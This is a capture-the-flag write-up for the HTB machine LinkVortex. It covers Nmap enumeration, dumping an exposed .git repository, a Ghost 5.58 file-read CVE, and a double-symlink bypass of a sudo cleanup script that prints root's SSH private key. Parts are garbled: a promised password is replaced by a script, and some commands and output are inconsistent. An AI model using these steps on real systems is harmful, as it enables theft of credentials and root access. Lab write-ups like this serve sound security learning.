This is a writeup of the machine LinkVortex from HTB , itโs an easy difficulty Linux machine. This machine featured a Ghost blog vulnerable to an authenticated arbitrary file read exploit, and a SUID script with poor input validation.
๐ Enumeration
I started off by running an Nmap scan of the host:
nmap -A -sC 10.10.11.47 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-14 18:19 EDT Nmap scan report for linkvortex.htb (10.10.11.47) Host is up (0.039s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA) |_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519) 80/tcp open http Apache httpd |_http-server-header: Apache | http-robots.txt: 4 disallowed entries |_/ghost/ /p/ /email/ /r/ |_http-generator: Ghost 5.58 |_http-title: BitByBit Hardware Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.01 seconds
Thereโs not much to look at other than web. We can see that this is running Ghost version 5.58, checking that out online I found CVE-2023-40028 , an authenticated arbitrary file read exploit.
๐ Web
๐ทโโ BitByBit Hardware
Before checking out the website, I added linkvortex.htb to my /etc/hosts file. Browsing to the site weโre greeted with a blog for BitByBit Hardware.
The bottom of the page has a sign up link that doesnโt work, and it advertises being powered by Ghost (old news).
Checking out the site further, thereโs nothing but a series of posts by the user admin.
I fuzzed for subdirectories and files with gobuster and didnโt find anything of note.
Looks like thereโs a hit for .git, browsing to it we can see a file listing for the folder.
Every git repository contains a .git folder, which contains information on prior commits, packed objects, etc. From the folder, we can restore the entire git repository.
I found a tool git-dumper which automates the process of pulling and restoring the repo for us.
git status Not currently on any branch. Changes to be committed: (use "git restore --staged <file>..." to unstage) new file: Dockerfile.ghost modified: ghost/core/test/regression/api/admin/authentication.test.js
We can see that the most recent commits made changes to the Dockerfile, and ghost/core/test/regression/api/admin/authentication.test.js.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
FROM ghost:5.58.0
# Copy the config COPY config.production.json /var/lib/ghost/config.production.json
# Wait for the db to be ready first COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh COPY entry.sh /entry.sh RUN chmod +x /var/lib/ghost/wait-for-it.sh RUN chmod +x /entry.sh
In the Dockerfile thereโs a reference to /var/lib/ghost/config.production.json, the configuration file for Ghost which can store cleartext credentials. I pulled the file from the repo, but it was blank/default.
Next, I checked out authentication.test.js, and found the following potential password:
if [ -z $CHECK_CONTENT ];then CHECK_CONTENT=false fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then /usr/bin/echo "! First argument must be a png file !" exit 2 fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then LINK_NAME=$(/usr/bin/basename $LINK) LINK_TARGET=$(/usr/bin/readlink $LINK) if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !" /usr/bin/unlink $LINK else /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine" /usr/bin/mv $LINK$QUAR_DIR/ if$CHECK_CONTENT;then /usr/bin/echo "Content:" /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null fi fi fi
It looks like this script is used to remove symlinks containing either etc or root in their path, and quarantine any other symlinks. Thereโs also a CHECK_CONTENT flag which will print the content of linked files as theyโre quarantined.
If we can evade the filtering for (etc|root), we can use the CHECK_CONTENT flag to read the content of rootโs SSH private key.
Initially I tried using funky payloads to try to trick the filter.
Since they still resolve to the same path it was unsuccessful. Instead, we can create a double symlink to evade the filter. The first symlink will point to /root/.ssh/id_rsa, while the second symlink will point to the first. When the script checks the path of the second symlink it wonโt find etc or root, and it should print the content of our target file.
1 2 3 4 5 6 7 8
# 1. Set the CHECK_CONTENT variable export CHECK_CONTENT = true
# 2. Create our first symlink to root's private key ln -sf /root/.ssh/id_rsa ./test.png
# 3. Create our decoy symlink to evade the filter ln -ssf ./test.png ./exploit.png
Next, we run the script with sudo and grab rootโs private key.
1 2 3 4 5 6 7
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh *.png Link found [ balls.png ] , moving it to quarantine /usr/bin/mv: 'exploit.png' and '/var/quarantined/exploit.png' are the same file Content: -----BEGIN OPENSSH PRIVATE KEY----- [REDACTED] -----END OPENSSH PRIVATE KEY-----
Now, we can use that to SSH in as root and grab the flag.